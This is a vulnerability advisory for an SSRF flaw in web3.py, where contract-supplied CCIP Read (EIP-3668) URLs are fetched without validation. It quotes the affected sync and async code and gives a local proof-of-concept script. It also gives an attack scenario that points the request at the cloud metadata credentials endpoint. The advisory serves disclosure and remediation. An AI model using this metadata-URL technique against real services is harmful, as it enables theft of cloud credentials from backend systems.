Vulnerability GHSA-5hr4-253g-cpx2

High Risk
HIGH RISK
CVSS Score: 7.2
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
6 months ago
April 04, 2026 at 06:38 AM UTC
web3.py: SSRF via CCIP Read (EIP-3668) OffchainLookup URL handling
6.0.0b3 - 7.14.1 and 8.0.0b1
6.0.0b3 - 7.14.1 and 8.0.0b1

Summary

web3.py: SSRF via CCIP Read (EIP-3668) OffchainLookup URL handling

Details

Summary

web3.py implements CCIP Read / OffchainLookup (EIP-3668) by performing HTTP requests to URLs supplied by smart contracts in offchain_lookup_payload["urls"]. The implementation uses these contract-supplied URLs directly (after {sender} / {data} template substitution) without any destination validation:

  • No restriction to https:// (and no opt-in gate for http://)
  • No hostname or IP allowlist
  • No blocking of private/reserved IP ranges (loopback, link-local, RFC1918)
  • No redirect target validation (both requests and aiohttp follow redirects by default)

CCIP Read is enabled by default (global_ccip_read_enabled = True on all providers), meaning any application using web3.py's .call() method is exposed without explicit opt-in.

This results in Server-Side Request Forgery (SSRF) when web3.py is used in backend services, indexers, APIs, or any environment that performs eth_call / .call() against untrusted or user-supplied contract addresses. A malicious contract can force the web3.py process to issue HTTP requests to arbitrary destinations, including internal network services and cloud metadata endpoints.

Affected Code

Sync CCIP handler

File: web3/utils/exception_handling.py (lines 42-58)

Contract-controlled URLs are requested via requests with no destination validation:

session = requests.Session()
for url in offchain_lookup_payload["urls"]:
    formatted_url = URI(
        str(url)
        .replace("{sender}", str(formatted_sender))
        .replace("{data}", str(formatted_data))
    )

    try:
        if "{data}" in url and "{sender}" in url:
            response = session.get(formatted_url, timeout=DEFAULT_HTTP_TIMEOUT)
        else:
            response = session.post(
                formatted_url,
                json={"data": formatted_data, "sender": formatted_sender},
                timeout=DEFAULT_HTTP_TIMEOUT,
            )

(The request is issued before response validation; subsequent logic parses JSON and enforces a "data" field.)

Key observations:

  • requests follows redirects by default (allow_redirects=True).
  • No allow_redirects=False is set.
  • No validation of formatted_url before the request.
  • The placeholder check (if "{data}" in url) operates on the raw url value from the payload (before str() conversion), not on the already-formatted formatted_url. If url is not a plain str (e.g., a URI type), the in check may behave differently than intended.

Async CCIP handler

File: web3/utils/async_exception_handling.py (lines 45-63)

Same pattern with aiohttp:

session = ClientSession()
for url in offchain_lookup_payload["urls"]:
    formatted_url = URI(
        str(url)
        .replace("{sender}", str(formatted_sender))
        .replace("{data}", str(formatted_data))
    )

    try:
        if "{data}" in url and "{sender}" in url:
            response = await session.get(
                formatted_url, timeout=ClientTimeout(DEFAULT_HTTP_TIMEOUT)
            )
        else:
            response = await session.post(
                formatted_url,
                json={"data": formatted_data, "sender": formatted_sender},
                timeout=ClientTimeout(DEFAULT_HTTP_TIMEOUT),
            )

Key observations:

  • aiohttp follows redirects by default.
  • No redirect or destination validation.
  • Same raw-url placeholder check issue as the sync handler.

Default-on invocation path

File: web3/providers/base.py (line 66) and web3/providers/async_base.py (line 79):

global_ccip_read_enabled: bool = True

File: web3/eth/eth.py (lines 222-266) and web3/eth/async_eth.py (lines 243-287):

The .call() method automatically invokes handle_offchain_lookup() / async_handle_offchain_lookup() when a contract reverts with OffchainLookup, up to ccip_read_max_redirects times (default: 4). No user interaction or explicit opt-in is required beyond the default configuration.

Proof of Concept

Prerequisites

  • Python environment with web3 installed
  • No network access or blockchain connection required (the PoC calls the handler function directly)

Step 1: Start a local HTTP listener

python -m http.server 9999

Step 2: Run the reproduction script

python repro_ssrf.py

Step 3: Observe

The HTTP server logs will show an inbound request to a path like /SSRF_DETECTION_SUCCESS?sender=...&data=..., confirming that handle_offchain_lookup() issued an outbound HTTP request to the contract-supplied URL without any destination validation.

The script will then print an error (the local HTTP server does not return the expected JSON), but the request has already been sent -- the SSRF occurs before any response validation.

Reproduction script (repro_ssrf.py)

from web3.types import TxParams
from web3.utils.exception_handling import handle_offchain_lookup


def reproduce_ssrf():
    target_address = "0x0000000000000000000000000000000000000001"

    payload = {
        "sender": target_address,
        "callData": "0x1234",
        "callbackFunction": "0x12345678",
        "extraData": "0x90ab",
        "urls": [
            "http://127.0.0.1:9999/SSRF_DETECTION_SUCCESS?sender={sender}&data={data}"
        ],
    }

    transaction: TxParams = {"to": target_address}

    print(f"Triggering CCIP Read handler with URL: {payload['urls'][0]}")

    try:
        handle_offchain_lookup(payload, transaction)
    except Exception as e:
        print(f"Expected failure after request was sent: {e}")


if __name__ == "__main__":
    reproduce_ssrf()

Real-world attack scenario

In a production setting, the attacker would:

  1. Deploy a malicious contract that reverts with OffchainLookup, supplying URLs pointing to internal services (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/).
  2. Cause a backend service (indexer, API, bot) to call that contract via eth_call / .call().
  3. web3.py automatically triggers CCIP Read, issuing the HTTP request from the backend's network context.

No special permissions or contract interactions beyond a standard eth_call are required.

Impacted packages

Timeline

Published
6 months ago
April 04, 2026 at 06:38 AM UTC
Fixed (7.15.0)
6 months ago
April 02, 2026 at 06:20 PM UTC
Fixed (8.0.0b2)
6 months ago
April 02, 2026 at 06:28 PM UTC
Last Modified
1 hour ago
October 16, 2026 at 10:55 AM UTC